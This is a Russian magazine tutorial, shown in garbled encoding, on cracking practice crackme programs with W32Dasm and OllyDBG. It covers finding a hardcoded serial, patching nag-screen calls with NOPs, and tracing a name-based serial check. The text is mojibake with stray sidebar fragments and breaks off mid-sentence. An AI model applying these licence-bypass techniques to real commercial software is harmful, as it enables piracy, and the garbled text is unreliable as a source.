îøèáêîé Wrong password. Keep trying, you'll get it!. Îò ýòîãî, ñîáñòâåííî, ìû è
áóäåì êðóòèòüñÿ. Òåêñòîâûå ñòðîêè èíôîðìàöèîííûõ ñîîáùåíèé çà÷àñòóþ
õðàíÿòñÿ â ñàìîì êîäå ïðîãðàììû. Ñîîòâåòñòâåííî, åÅñëè íàéòè îáðàùåíèå ê
ñòðîêå, òî áåç òðóäà íàéäåòñÿ è âûçîâ ôóíêöèè âûâîäà ñîîáùåíèÿ, à òàì óæå
è ïðîöåäóðà ïðîâåðêè ñåðèéíèêà íåäàëåêî. Ïîïðîáóåì ðàçîáðàòüñÿ âî âñåì
áîëåå ïîäðîáíî.
Â îáùåì ñëó÷àå ïðîãðàììà ñîñòîèò èç òðåõ îáëàñòåé ïàìÿòè (ñåãìåíòîâ):
ñåãìåíòà êîäà (CS), ñåãìåíòà äàííûõ (DS) è ñåãìåíòà ñòåêà (SS). Â ïåð-
âîì, êàê òû ïîíÿë, õðàíèòñÿ íåïîñðåäñòâåííî êîä ïðîãðàììû, òî åñòü êî-
ìàíäû è êîìàíäíûå èíñòðóêöèè. Âòîðîé ñåãìåíò ïðåäíàçíà÷åí äëÿ õðàíå-
íèÿ äàííûõ (ïåðåìåííûõ, êîíñòàíò è ò.ä.) � ïî èäåå, âûäàííîå ïðîãðàì-
ìîé ñîîáùåíèå ðàñïîëàãàåòñÿ èìåííî òàì. Ñåãìåíò ñòåêà ïðåäñòàâëÿåò
ñîáîé ñïåöèàëüíóþ îáëàñòü ïàìÿòè, ïðåäíàçíà÷åííóþ äëÿ âðåìåííîãî
õðàíåíèÿ äàííûõ, íàïðèìåð, ïàðàìåòðîâ, ïåðåäàâàåìûõ ïðîöåäóðàì è

ìû áåç òðóäà ìîæåì íàéòè ôðàãìåíò ïðîãðàììû, ãäå îñóùåñòâëÿåòñÿ
âûçîâ ïðîöåäóðû MessageBoxA

êîëëåêöèÿ âñåâîçìîæíûõ crackmes � îòëè÷-
íàÿ âîçìîæíîñòü ïîïðàêòèêîâàòüñÿ âî âçëîìå,
íå íàðóøàÿ çàêîí
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íåïðàâèëüíîãî (òû æå íå äóìàåøü åãî óãàäàòü, âåðíî?) ñåðèéíèêà, ïðî-
ãðàììà çàãðóæàåò â ñòåê àäðåñ ñòðîêè è âûçûâàåò ôóíêöèþ MessageBo-
xA. W32Dasm, êàê è ìíîãèå äðóãèå äèçàññåìáëåðû, óìååò ïîêàçûâàòü,
ãäå èìåííî ïðîèñõîäèò îáðàùåíèå ê òîé èëè èíîé ñòðîêå. Ýòî çíà÷èòåëü-
íî îáëåã÷àåò ïîèñê íóæíîãî ôðàãìåíòà êîäà: äîñòàòî÷íî â äèçàññåìáëè-
ðîâàííîì ëèñòèíãå ïðîèçâåñòè ïîèñê òåêñòà ñîîáùåíèÿ, è ìû ñðàçó íàé-
äåì íóæíûé âûçîâ ôóíêöèè MessageBoxA. Â áîëüøèíñòâå ñëó÷àåâ ãäå-

íèáóäü ðÿäîì ðàñïîëàãàåòñÿ è ïðîöåäóðà ïðîâåðêè ñåðèéíèêà. Íàøà çà-
äà÷à � ñ ïîìîùüþ äèçàññåìáëåðà ïîñìîòðåòü ïðàâèëüíûé ïàðîëü âî
âðåìÿ ñðàâíåíèÿ åãî ñî ââåäåííûì.

[âçëîì ñåðèéíèêà] Çàïóñêàé W32Dasm, äàëåå ìåíþ Dissembler -> Open
File è âûáèðàé ôàéë CRACKME1.EXE. Âó-à-ëÿ! Ïåðåä òîáîé ïîëíîñòüþ äè-
çàññåìáëèðîâàííûé êîä ïðîãðàììû, íî è â íåì åùå íóæíî ðàçîáðàòüñÿ.
Íàøà öåëü � íàéòè òó ÷àñòü êîäà, êîòîðàÿ êàêèì-òî îáðàçîì èñïîëüçóåò
îáîçíà÷åííóþ âûøå ñòðîêó. Ñàìûé áàíàëüíûé ñïîñîá � ïðîâåñòè ïîèñê
ñòðîêè (ìåíþ Search -> Find Next), íî åñòü è äðóãîé âàðèàíò. Äåëî â òîì, ÷òî
W32Dasm çàïèñûâàåò âñå íàéäåííûå îáðàùåíèÿ ê ñòðîêîâûì äàííûì â
ñïåöèàëüíûé ñïèñîê (ìåíþ Refs -> String Data References). Ïîýòîìó âìåñòî
ïîèñêà ìîæíî ïðîñòî âûáðàòü èç ñïèñêà íóæíóþ ñòðîêó è äâàæäû êëèêíóòü
ïî íåé ìûøüþ. Òàê èëè èíà÷å, W32Dasm àâòîìàòè÷åñêè ïåðåâåäåò òåáÿ íà
ñëåäóþùèé êîä:

* Possible StringData Ref from Data Obj ->"Wrong Password! Keep trying,
you'll get it!"
004012A2 6845304000 push 00403045

Êîììåíòàðèé óêàçûâàåò íà òî, ÷òî â ñëåäóþùåé êîìàíäå ïðîèñõîäèò
îáðàùåíèå ê íóæíîé ñòðîêå � Wrong password. Keep trying, you'll get it!.
Ðàçáåðåì ýòó êîìàíäó áîëåå ïîäðîáíî: 004012A2 � ýòî àäðåñ, ãäå â
ïàìÿòè íàõîäèòñÿ äàííàÿ êîìàíäà, 6814654100 � ïðåäñòàâëåíèå êî-

ìàíäû â øåñòíàäöàòåðè÷íîì âèäå (ìàøèííûå êîäû), push 00403045 �
íåïîñðåäñòâåííî ñàìà àññåìáëåðíàÿ êîìàíäà. Îíà ïîìåùàåò â ñòåê
àäðåñ 00403045, ïî êîòîðîìó, ñóäÿ ïî êîììåíòàðèþ W32Dasm'à, õðà-
íèòñÿ íàøà ñòðîêà.
Ïî íàøåìó ïðåäïîëîæåíèþ ïîñëå çàãðóçêè àäðåñà ñòðîêè â ñòåê, ïðîèñ-
õîäèò âûçîâ ôóíêöèè, âûâîäÿùåé ñîîáùåíèå íà ýêðàí. Òàê è åñòü �
ñìîòðèì íèæå:

* Reference To: USER32.MessageBoxA, Ord:01BBh
:004012A9 E85C000000 Call 0040130A

W32Dasm íàì ÿâíî óêàçûâàåò, ÷òî êîìàíäà âûçîâà ôóíêöèè Call âûçû-
âàåò èìåííî API-ôóíêöèþ âûâîäà îêîøêà (MessageBoxA). Òåïåðü ñìî-
òðèì, ÷òî ïðîèñõîäèëî äî âûçîâà ýòîé ôóíêöèè. Ñðàçó áðîñàåòñÿ â ãëà-
çà ñëåäóþùèé êîä:

00401291 Call 00401352
00401296 cmp eax, 00000000
00401299 je 004012B0

«Äà âîò ïðÿìî îí ìíå òàê â ãëàçà è áðîñèëñÿ, ïî-ìîåìó, íè÷åì íå îòëè÷à-
åòñÿ îò âñåãî îñòàëüíîãî», � âîçìîæíî, ãðóñòíî ïîäìåòèøü òû.
Íà ñàìîì äåëå ýòî äîâîëüíî ñòàíäàðòíàÿ êîíñòðóêöèÿ � çàïîìíè åå.
Â 90% ñëó÷àåâ ýòî è åñòü êîä ïðîâåðêè ñåðèéíèêà. Ñíà÷àëà âûçûâà-
åòñÿ íåêîòîðàÿ ïðîöåäóðà, êîòîðàÿ ñðàâíèâàåò ââåäåííûé ïîëüçîâà-
òåëåì è ïðàâèëüíûé êîä, è ïî ðåçóëüòàòàì ïðîâåðêè óñòàíàâëèâàåò
íóæíîå çíà÷åíèå ðåãèñòðà EAX. Ïîñëå ýòîãî ñ ïîìîùüþ êîìàíäû

CMP ïðîèçâîäèòñÿ ñðàâíåíèå çíà÷åíèÿ ðåãè-
ñòðà ñ 0. Åñëè îíè ðàâíû (je � jump equal �
ïåðåéòè, åñëè ðàâíî), îñóùåñòâëÿåòñÿ ïåðå-
õîä íà àäðåñ 004012B0. Äàâàé ïîñìîòðèì,
÷òî íàõîäèòñÿ ïî ýòîìó àäðåñó � íàæìè
Shift+F12 è â ïîÿâèâøåìñÿ îêîøêå ââåäè
ýòîò àäðåñ. Îãî! Ïîÿâèâøèéñÿ ôðàãìåíò êîäà
â òî÷íîñòè ïîâòîðÿåò êîä âûâîäà ñîîáùåíèÿ
íà ýêðàí. Ðàçíèöà ëèøü â òîì, ÷òî âìåñòî ñî-
îáùåíèÿ î íåïðàâèëüíîì êîäå, âûâîäèòñÿ
íàäïèñü You got it! Your now a cracker!. Îòñþ-
äà âûâîä: âûçâàííàÿ ðàíåå ïðîöåäóðà äåé-
ñòâèòåëüíî îñóùåñòâëÿåò ïðîâåðêó ñåðèéíûõ
êîäîâ. Åñëè ïîëüçîâàòåëü ââåë ïðàâèëüíûé
ïàðîëü, òî çíà÷åíèå ðåãèñòðà EAX ñòàíîâèò-
ñÿ ðàâíûì 0, è óïðàâëåíèå ïåðåäàåòñÿ ïðîöå-
äóðå âûâîäà ñîîáùåíèÿ îá óñïåõå. Â ïðîòèâ-
íîì ñëó÷àå â ðåãèñòð EAX çàïèñûâàåòñÿ 1, è
íèêàêîãî ïåðåõîäà íå ïðîèñõîäèò. Äàëåå ïî
êîäó ðàñïîëîæåí âûçîâ MessageBoxA ñ ñîîá-
ùåíèåì îá îøèáêå, êîòîðûé è âûïîëíÿåòñÿ.
Â íàøåì ñëó÷àå âñå åùå ïðîùå. Ôóíêöèÿ ïðî-
âåðêè ÿâëÿåòñÿ ñòàíäàðòíîé ôóíêöèåé ñðàâíå-
íèÿ äâóõ ñòðîê lstrcompareA, êîòîðîé ÷åðåç
ñòåê ïåðåäàþòñÿ äâà ïàðàìåòðà:

:00401287 689C304000 push 0040309C
* Possible StringData Ref from Data Obj ->"m0tNaF-EmKCARc"
:0040128C 6829304000 push 00403029
* Reference To: KERNEL32.lstrcmpA, Ord:02D6h
00401291 E8BC000000 Call 00401352

Ïåðâîé êîìàíäîé push â ñòåê çàíîñèòñÿ àäðåñ ââåäåííîé íàìè ñòðîêè, à
âòîðîé � íàñòîÿùèé ñåðèéíèê. W32Dasm ëþáåçíî ïîäñêàçàë, ÷òî ïî ýòî-
ìó àäðåñó íàõîäèòñÿ ñòðîêà m0tNaF-EmKCARc. Ýòî è åñòü ñåðèéíèê :).

[óáèðàåì íàãè] Íàã � ýòî íàçîéëèâîå îêîøêî, êîòîðîå ïðèñóùå ëþ-
áîé òðèàëüíîé ïðîãðàììå. Ñìûñë îêîøêà � íàïîìíèòü ïîëüçîâàòåëþ
î òîì, ÷òî ïðîãðàììèñòû òîæå ëþáÿò êóøàòü, ïîýòîìó ïîêóïêà ïðî-
ãðàììû áûëà áû î÷åíü êñòàòè. Îáùèé ïðèíöèï òàêîâ. Âî âðåìÿ çàïó-
ñêà ïðèëîæåíèÿ, îñóùåñòâëÿåòñÿ ïðîñòàÿ ïðîâåðêà � çàðåãèñòðèðîâà-
íà ëè ïðîãðàììà èëè íåò. Èíäèêàöèåé òîãî, ÷òî ïðèëîæåíèå çàðåãè-
ñòðèðîâàíî, ìîæåò áûòü íàëè÷èå íåêîòîðîãî ôàéëà, êëþ÷à ðååñòðà
èëè, ÷òî áîëåå âåðîÿòíî, îïðåäåëåííîå èõ ñîäåðæàíèå. Åñëè â ðåçóëü-
òàòå ïðîâåðêè îêàæåòñÿ, ÷òî ïðîãà óæå çàðåãèñòðèðîâàíà, òî íèêàêîãî
íàã-îêíà íå âûâîäèòñÿ, è ïðîãðàììà ïðîäîëæàåò îáû÷íóþ ðàáîòó. Â
ïðîòèâíîì ñëó÷àå óïðàâëåíèå ïåðåäàåòñÿ ïðîöåäóðå, êîòîðàÿ âûâîäèò
íàã íà ýêðàí è â áîëüøèíñòâå ñëó÷àåâ òðåáóåò íàæàòèÿ êëàâèøè äëÿ
ïðîäîëæåíèÿ ðàáîòû. 
Êàê ïðàâèëî, óáðàòü íàã-îêíî íå ïðåäñòàâëÿåò òðóäà, â ýòîì ìîæíî[X
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FaNt0m's CrackMe #1: ïîñëå ââîäà íåïðàâèëüíîãî ñåðèéíèêà ïîÿâëÿåòñÿ
ñîîáùåíèå îá îøèáêå

OllyDBG ïîäîáíî W32Dasm'ó òùàòåëüíî ñëåäèò çà èñïîëüçîâàíèåì òåêñòîâîé èíôîðìàöèè



ëåãêî óáåäèòüñÿ íà ïðèìåðå FaNt0m's CrackMe #2. Ïîñëå çàïóñêà ïðî-
ãè ïîëüçîâàòåëÿ îäàðèâàþò íå îäíèì, à ñðàçó äâóìÿ íàã-îêîøêàìè, íî
çàäà÷à îò ýòîãî ïðàêòè÷åñêè íå óñëîæíÿåòñÿ. Ê ñîæàëåíèþ, âîçìîæ-
íîñòü ðåãèñòðàöèè íå ïðåäóñìîòðåíà, ïîýòîìó åäèíñòâåííîå, ÷òî îñ-
òàåòñÿ ñäåëàòü, � ýòî âðó÷íóþ óáðàòü èç êîäà «ëèøíèå» ôðàãìåíòû
ïðîãðàììû. Èëè òî÷íåå ãîâîðÿ, âûçîâû ïðîöåäóð, âûâîäÿùèõ íà
ýêðàí ýòè íàçîéëèâûå ñîîáùåíèÿ. Â ïðèíöèïå ýòî ìîæíî ñäåëàòü ñ
ïîìîùüþ äèçàññåìáëåðà è HEX-ðåäàêòîðà, íî óäîáíåå è óìåñòíåå
âñå-òàêè èñïîëüçîâàòü îòëàä÷èê (èëè è òî, è äðóãîå îäíîâðåìåííî) �
ñêîðî òû â ýòîì óáåäèøüñÿ.
Èòàê, çàïóñêàé OllyDBG, à ñ ïîìîùüþ ìåíþ îòêðîé ôàéë CRAC-
KME2.EXE. Â ïðèíöèïå, íàéòè íóæíûé ôðàãìåíò êîäà, ñîäåðæàùèé
âûçîâû «ëèøíèõ» ïðîöåäóð, ìîæíî ïî îïèñàííîìó ðàíåå àëãîðèòìó.
Äëÿ ýòîãî íóæíî êëèêíóòü ïðàâîé ìûøè â îêíå ñ àññåìáëåðíûì êî-
äîì è â êîíòåêñòíîì ìåíþ âûáðàòü ïóíêò Search for -> All referenced
text strings. Â ïîÿâèâøåìñÿ ñïèñêå òû ñðàçó æå óâèäèøü òåêñò ñîîá-
ùåíèÿ, âûâîäèìûé â îêíå íàãà, à äâîéíûì êëèêîì � ñìîæåøü ïå-
ðåéòè òóäà, ãäå îí èñïîëüçóåòñÿ. Íî ìû ïîéäåì ïî äðóãîìó ïóòè è
èçó÷èì åùå îäèí êëþ÷åâîé ïðèåì, êîòîðûé àêòèâíî èñïîëüçóåòñÿ âî
âðåìÿ âçëîìà ïðîãðàìì.
Åñëè òû óæå êîãäà-òî ïðîáîâàë ëîìàòü ïðîãðàììû, òî, íàâåðíÿêà, ñëû-
øàë î òàê íàçûâàåìûõ áðåéêïîèíòàõ (breakpoints). Áðåéêïîèíò � ýòî
ìåñòî îñòàíîâà ïðîãðàììû, òî åñòü òî÷êà, â êîòîðîé ïðîãðàììà ïðèî-
ñòàíàâëèâàåò ñâîå âûïîëíåíèå è óêàçûâàåò àäðåñ òåêóùåé êîìàíäû â
îòëàä÷èêå. Èñïîëüçîâàòü ýòîò ÷ðåçâû÷àéíî ïîëåçíûé ïðèåì î÷åíü
ïðîñòî. Íàì óæå èçâåñòíî, ÷òî íåáîëüøîå îêîøêî ñ ñîîáùåíèåì ëåã-
êî ìîæåò áûòü âûâåäåíî íà ýêðàí ñ ïîìîùüþ ôóíêöèè MessageBoxA.
Òåïåðü âñå, ÷òî îò íàñ òðåáóåòñÿ � óñòàíîâèòü òî÷êó îñòàíîâà íà âû-
çîâå ýòîé ôóíêöèè, à ïîñëå îñòàíîâêè ïðîãðàììû âñåãî ëèøü «âûðå-
çàòü» èç êîäà åå âûçîâ. Ïîïðîáóåì?
Åñëè òû ïðàâèëüíî óñòàíîâèë OllyDBG è ïîäêëþ÷èë ÷ðåçâû÷àéíî ïîëåç-
íûé ïëàãèí CommandBar, òî â íèæíåé ÷àñòè ýêðàíà äîëæíî ñâåòèòüñÿ îê-
íî äëÿ ââîäà êîìàíäû.
Ââåäåì êîìàíäó äëÿ óñòàíîâêè òî÷êè îñòàíîâà íà âûçîâå ôóíêöèè Mes-
sageBoxA: bpx MessageBoxA. Ïðàâèëüíîñòü óñòàíîâêè áðåéêïîèíòà ìîæ-
íî ïðîâåðèòü â îêíå Breakpoints (ìåíþ View -> Breakpoints). Òàì æå åãî
ìîæíî íà âðåìÿ äåàêòèâèðîâàòü, èëè âîâñå óäàëèòü. Äàëåå íåîáõîäèìî
çàïóñòèòü ïðîãðàììó èç îòëàä÷èêà � äëÿ ýòîãî íàæìè êëàâèøó F9 èëè
âûáåðè â ìåíþ Debug -> Run.Ïðîãðàììà ñðàçó æå îñòàíîâèëàñü íà êî-
ìàíäå ñ àäðåñîì 004010DE:

004010DE CALL <JMP.&USER32.MessageBoxA> ; \MessageBoxA

Ìû ïîëó÷èëè òî, ÷òî õîòåëè � ïðîãðàììà îñòà-
íîâèëàñü äî âûçîâà ôóíêöèè MessageBoxA.
Åñëè òû âûïîëíÿåøü äåéñòâèÿ ïàðàëëåëüíî ñî
ìíîé, òî, íàâåðíÿêà, ïðèÿòíî óäèâëåí, ÷òî Ol-
lyDBG ïðèâîäèò ðàñøèôðîâêó ïàðàìåòðîâ, êî-
òîðûå ïåðåäàþòñÿ ýòîé ïðîöåäóðå. Î÷åíü íà-
ãëÿäíî è óäîáíî.

[íåò îïåðàöèè] Òåïåðü ðàçáåðåìñÿ, êàê ýòîò
âûçîâ ìîæíî óáðàòü. Â ýòîì íàì ïîìîæåò ñïå-
öèàëüíàÿ èíñòðóêöèÿ àññåìáëåðà � «íåò îïå-
ðàöèè» (NOP). Äëÿ òîãî, ÷òîáû óáðàòü âûçîâ
ïðîöåäóðû (èëè ëþáîé äðóãîé êîä), äîñòàòî÷íî
çàáèòü åãî ìàøèííûé êîä êîìàíäàìè NOP. Â
ðåçóëüòàòå â ïðîãðàììå îáðàçóåòñÿ ñâîåîá-
ðàçíàÿ «äûðêà», íî íà ðàáîòîñïîñîáíîñòü îíà
íè êîåì îáðàçîì íå ïîâëèÿåò. Ïðàâäà, çäåñü
åñòü îäèí íþàíñ. Ìàøèííûé ýêâèâàëåíò êî-
ìàíäû NOP (â øåñòíàäöàòåðè÷íîì ïðåäñòà-
âëåíèè � 90) çàíèìàåò îäèí áàéò, â òî æå âðå-
ìÿ ìàøèííàÿ êîìàíäà, âûçûâàþùàÿ ôóíêöèþ
MessageBoxA (E8 C5010000), � öåëûõ 5. Íåñ-
îîòâåòñòâèÿ áûòü íå äîëæíî, è ÷òîáû ïîëíî-
ñòüþ ïåðåêðûòü èñõîäíóþ êîìàíäó íóæíî èñ-
ïîëüçîâàòü êîìàíäó NOP 5 ðàç. Ê ñ÷àñòüþ, OllyDBG ïîëíîñòüþ èçáàâ-
ëÿåò íàñ îò ëèøíåãî ãåìîððîÿ. Êëèêíè ïðàâîé êíîïêîé ìûøè íà ñòðî-
êå, ãäå ïðîèçîøëà òî÷êà îñòàíîâà, è âûáåðè â ìåíþ Binary -> Fill with
NOPs. Îòëàä÷èê ñàìîñòîÿòåëüíî çàïîëíèò êîìàíäó NOP'àìè íóæíîå
÷èñëî ðàç. Òåïåðü ìîæíî ïðîäîëæèòü âûïîëíåíèå ïðîãðàììû � íà-
æèìàåì F9. Ñðàçó âûÿñíÿåòñÿ äâå íîâîñòè: îäíà õîðîøàÿ, äðóãàÿ �
íåò. Íà÷íó ñ õîðîøåé: ïåðâûé íàã-ñêðèí ìû óáðàëè. Ïëîõàÿ íîâîñòü
çàêëþ÷àåòñÿ â òîì, ÷òî äðóãîé íàã îñòàëñÿ íà ìåñòå. Ïî÷åìó? Âèäè-
ìî, îí îòîáðàæàåòñÿ ñ ïîìîùüþ äðóãîé API-ôóíêöèåé, íà êîòîðóþ
áðåéêïîèíò íå óñòàíîâëåí. Íå áåäà. Îòêðûâàåì îêíî References (View

-> References): ïîñëå óñòàíîâêè
ïåðâîãî áðåéêïîèíòà ñþäà çàïè-
ñàëñÿ ñïèñîê âñåõ âûçûâàåìûõ
ïðîãðàììîé ôóíêöèé. Ñ áàçîâûìè
çíàíèÿìè API (èëè ìàíóàëîì ïîä
ðóêîé) ìîæíî ïðåäïîëîæèòü, ÷òî
âòîðîé íàã âûâîäèòñÿ ñ ïîìîùüþ
ôóíêöèè DialogBoxParamA. Ïðåä-
ëàãàþ ïðîâåðèòü òåáå ýòî ñàìîìó.
Âñå èçìåíåíèÿ ìîæíî âðó÷íóþ
âíåñòè ÷åðåç HEX-ðåäàêòîð, ñ ïî-
ìîùüþ êîòîðîãî áàéòû ïî íóæíûì àäðåñàì ïåðåçàïèñàòü ÷èñëîì 90.
Èëè æå àâòîìàòè÷åñêè çàïèñàòü âñå èçìåíåíèÿ ñ ïîìîùüþ ñàìîãî Ol-
lyDBG: ïðàâûé êëèê ïî èñïðàâëåííîìó àññåìáëåðíîìó êîäó, ìåíþ Copy
to Executable -> All modifications.

[çàùèòà: èìÿ-ñåðèéíèê] Äîñåëå ìû ðàññìàòðèâàëè ñàìóþ ïðèìèòèâ-
íóþ çàùèòó. FaNt0m's CrackMe #4 ïðåäñòàâëÿåò ñîáîé áîëåå ñëîæíóþ çà-
äà÷ó. Òðåáóåòñÿ íàéòè íå ïðîñòî ñåðèéíèê, à ðåãèñòðàöèîííûé íîìåð, êîòî-
ðûé çàâèñèò îò ââåäåííîãî èìåíè ïîëüçîâàòåëÿ. Äðóãèìè ñëîâàìè, îí ãå-
íåðèðóåòñÿ ïî îïðåäåëåííîìó àëãîðèòìó. Òàêîé ïîäõîä èñïîëüçóåòñÿ â

ëèñòèíã ïðîöåäóðû äëÿ ãåíåðàöèè ðåãèñòðàöèîííîãî íîìåðà

êîä ïðîâåðêè ñåðèéíîãî íîìåðà êàê íà ëàäîíè
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Â W32Dasm'å ìîãóò áûòü
ïðîáëåìû ñî øðèôòàìè.
Äëÿ óñòðàíåíèÿ ïðîáëåìû
âûáåðè ìåíþ Disassembler -
> Font -> Select Font è óñòà-
íîâè øðèôò Courier (ïîëó-
æèðíûé, ðàçìåð 8). Ïîñëå
ýòîãî íàñòðîéêè íóæíî ñîõ-
ðàíèòü: ìåíþ Disassembler -
> Font -> Save Default Font.

www.cracklab.ru � âåäóùèé
ðåñóðñ ïî âçëîìó ïðîãðàìì
â Ðîññèè. Ðåêîìåíäóþ.
www.crackmes.de �
îãðîìíîå êîëè÷åñòâî âñå-
âîçìîæíûõ crackmes.
www.kalashnikoff.ru � äëÿ
òåõ, êòî õî÷åò âûó÷èòü àçû
àññåìáëåðà.

Íå ñòîèò çàáûâàòü, ÷òî
âñå äåéñòâèÿ âçëîìùèêîâ
ïðîòèâîçàêîííû è ýòà
ñòàòüÿ ïðåäíàçíà÷åíà
ëèøü äëÿ îçíàêîìëåíèÿ.
Çà ïðèìåíåíèå ìàòåðèàëà
â íåçàêîííûõ öåëÿõ àâòîð
è ðåäàêöèÿ îòâåòñòâåííî-
ñòè íå íåñóò.



áîëüøèíñòâå ïðîãðàìì, ïîýòîìó îñîáåííî àêòóàëüíî áóäåò ðàññìîòðåòü
èìåííî åãî. Âíà÷àëå ñõåìà ñòàíäàðòíà: îòêðûâàåì ïðîãðàììó â OllyDBG,
óñòàíàâëèâàåì áðÿêó íà MessageBoxA è çàïóñêàåì ïðîãðàììó êëàâèøåé
F9. Ïîñëå ââîäà ïîëåé (íàïðèìåð, step/123) íàæèìàåì íà êíîïêó Check è
ïîïàäàåì â îòëàä÷èê. Ïåðåä íàìè óæå çíàêîìûé êîä âûâîäà ñîîáùåíèÿ íà
ýêðàí ñ òåêñòîì Wrong Serial! Keep trying, you'll get it! Íåïîðÿäîê! Ïîñìî-
òðèì, ÷òî áûëî ÷óòü ðàíåå: ñíà÷àëà èäåò êîä âûâîäà ñîîáùåíèÿ îá óñïåø-
íîé ðåãèñòðàöèè, à åùå âûøå � èíñòðóêöèÿ, ïîõîæàÿ íà âûçîâ ïðîöåäóðû
ïðîâåðêè ðåãèñòðàöèîííîãî íîìåðà. Åñëè òû âíèìàòåëüíî ÷èòàë ñòàòüþ ñ
ñàìîãî íà÷àëà, òî îíà äîëæíà áûòü òåáå óæå çíàêîìà:

00401236 CALL CRACKME4.004012F9
0040123B CMP EAX,0
0040123E JE SHORT CRACKME4.00401255

Ïî ëîãèêå âåùåé â ïðîöåäóðó ïðîâåðêè (à òàêæå ãåíåðàöèè) ðåãèñòðàöèîí-
íîãî êëþ÷à äîëæíû ïåðåäàâàòüñÿ ïàðàìåòðû. Êàê ìèíèìóì: ââåäåííûå
ïîëüçîâàòåëåì èìÿ ïîëüçîâàòåëÿ è êëþ÷. Òàê è åñòü:

00401205 PUSH 
0040120A PUSH CRACKME4.00403084 ;àäðåñ áóôåðà
0040120F PUSH 3E8
00401214 PUSH DWORD PTR SS:[EBP+8]
00401217 CALL <JMP.&USER32.GetDlgItemTextA> ;GetDlgItemTextA
0040121C PUSH 100
00401221 PUSH CRACKME4.00403184 ;àäðåñ áóôåðà
00401226 PUSH 3E9
0040122B PUSH DWORD PTR SS:[EBP+8]
0040122E CALL <JMP.&USER32.GetDlgItemTextA> ;GetDlgItemTextA

Âûçâàííàÿ äâàæäû API-ôóíêöèÿ GetDlgItemTextA èçâëåêàåò çíà÷åíèÿ òåê-
ñòîâûõ ïîëåé è ïîìåùàåò èõ çíà÷åíèÿ â áóôåðû, àäðåñà êîòîðûõ ïåðåäà-
þòñÿ â ôóíêöèè â âèäå ïàðàìåòðîâ. Äàëåå áóäåì äåéñòâîâàòü ïî âïîëíå
ñòàíäàðòíîé ñõåìå: ïîñòàâèì áðåéêïîèíò íà GetDlgItemText. Ïðîãðàììà â

ýòîì ñëó÷àå áóäåò îñòàíîâëåíà
åùå ÄÎ ãåíåðàöèè è ïðîâåðêè ðå-
ãèñòðàöèîííîãî êîäà. À çíà÷èò, ìû
ñìîæåì ïðîñëåäèòü çà ýòèì ïðî-
öåññîì è ïîäñìîòðåòü ïðàâèëüíî
ñãåíåðèðîâàííûé íîìåð ñ ïîìî-
ùüþ îòëàä÷èêà.
Ïåðåçàïóñêàåì ïðîãðàììó (äëÿ
ýòîãî óäîáíî èñïîëüçîâàòü ãîðÿ÷óþ

êëàâèøó � Ctrl+F2), äà-
ëåå ñ ïîìîùüþ îêíà
Breakpoints óäàëÿåì
ïîñòàâëåííûå ðàíåå

áðÿêè íà MessageBoxA è óñòàíàâëèâàåì íîâóþ òî÷êó îñòàíîâà íà GetDlgI-
temTextA (bpx GetDlgItemTextA). Òåïåðü çàïóñêàåì (êëàâèøà � F9) è ââî-
äèì â òåêñòîâûå ïîëÿ ïðîèçâîëüíûå çíà÷åíèÿ. Ïðîãðàììà îñòàíîâèòñÿ íà
ïåðâîì âûçîâå ýòîé ôóíêöèè:

00401217 CALL <JMP.&USER32.GetDlgItemTextA> ;GetDlgItemTextA

Îòñþäà íà÷èíàåì âûïîëíÿòü ïðîãðàììó ïîøàãîâî. Äëÿ ýòîãî â OllyDBG
ïðåäóñìîòðåíû äâà âàðèàíòà: òðàññèðîâàòü ñ çàõîäîì â ïîäïðîãðàììû
(êëàâèøà � F7) èëè òðàññèðîâàòü áåç çàõîäà â ïîäïðîãðàììû (F8). Êóðñîð
ñåé÷àñ óñòàíîâëåí íà âûçîâå API-ôóíêöèè. Íàñ ñîâåðøåííî íå èíòåðåñóåò
àëãîðèòì åå ðàáîòû, ïîýòîìó òðàññèðóåì êîìàíäó áåç çàõîäà â ïîäïðî-
ãðàììó. Çíà÷èòåëüíî èíòåðåñíåå åå ðåçóëüòàò. Êàê óæå áûëî ñêàçàíî,
GetDlgItemTextA çàíîñèò â áóôåð ñòðîêîâîå çíà÷åíèå, êîòîðîå ïîëüçîâà-
òåëü ââåë â òåêñòîâîì ïîëå. Ýòî ëåãêî ïðîâåðèòü. Â ïàðàìåòðàõ ïðîöåäóðå
ïåðåäàåòñÿ àäðåñ íà÷àëà áóôåðà � 00403084. Äàâàé ïîñìîòðèì, ÷òî áûëî
ðàçìåùåíî â íåì ïîñëå âûïîëíåíèÿ êîìàíäû. Äëÿ ýòîãî íàæìè ïðàâîé
êíîïêîé ìûøè ïî íèæíåé ÷àñòè îêíà CPU, ãäå ðàñïîëîæåí äàìï äàííûõ, è
â ïîÿâèâøåìñÿ ìåíþ âûáåðè Go to -> Expression. Ïîñëå ââîäà íóæíîãî àä-
ðåñà, ïðîãðàììà âûñâåòèò äàííûå, êîòîðûå ðàñïîëîæåíû ïî ýòîìó àäðåñó.
Ó ìåíÿ ýòî ñòðîêà � «step».
Äâèãàåìñÿ äàëåå. Àíàëîãè÷íûì îáðàçîì òðàññèðóåì ïðîãðàììó âïëîòü äî
âûçîâà ïðîöåäóðû CRACKME4.004012F9. Ïîñêîëüêó îíà, ñêîðåå âñåãî, è
âûïîëíÿåò ãåíåðàöèþ ñåðèéíèêà, òðàññèðóåì ýòó êîìàíäó ñ çàõîäîì â ïðî-
öåäóðó. Ïåðâûå 2 äåñÿòêà êîìàíä îïèñûâàþò àëãîðèòì, ïî êîòîðîìó ïðîèç-
âîäèòñÿ ãåíåðàöèÿ ñåðèéíèêà. Ýòî î÷åíü ïðîñòîé àëãîðèòì, íî ïðèâåñòè
åãî êîä çäåñü íå ñìîã � ðèñêóþ ãîíîðàðîì. Çàòî ÿ ïîëíîñòüþ îòêîììåíòè-
ðîâàë åãî è âûëîæèë ñ èñõîäíèêîì êåéãåíà íà äèñê.
Ñåé÷àñ íàñ èíòåðåñóåò äðóãîå � ñðàâíåíèå ñãåíåðèðîâàííîãî è ââåäåííî-
ãî íàìè ñåðèéíèêà. Òðàññèðóåì ïðîãðàììó äî ñëåäóþùåãî êîäà:

00401334 PUSH CRACKME4.00403284 ; String2 = "LMXI"
00401339 PUSH CRACKME4.00403184 ; String1 = "sa"
0040133E CALL <JMP.&KERNEL32.lstrcmpA> ; lstrcompareA

Îêàçàëîñü, ÷òî â ðåçóëüòàòå ðàáîòû àëãîðèòìà, ñãåíåðèðîâàííûé ñåðèéíèê
áûë çàïèñàí ïî àäðåñó 00403284. Òåïåðü ñ ïîìîùüþ óæå çíàêîìîé ôóíê-
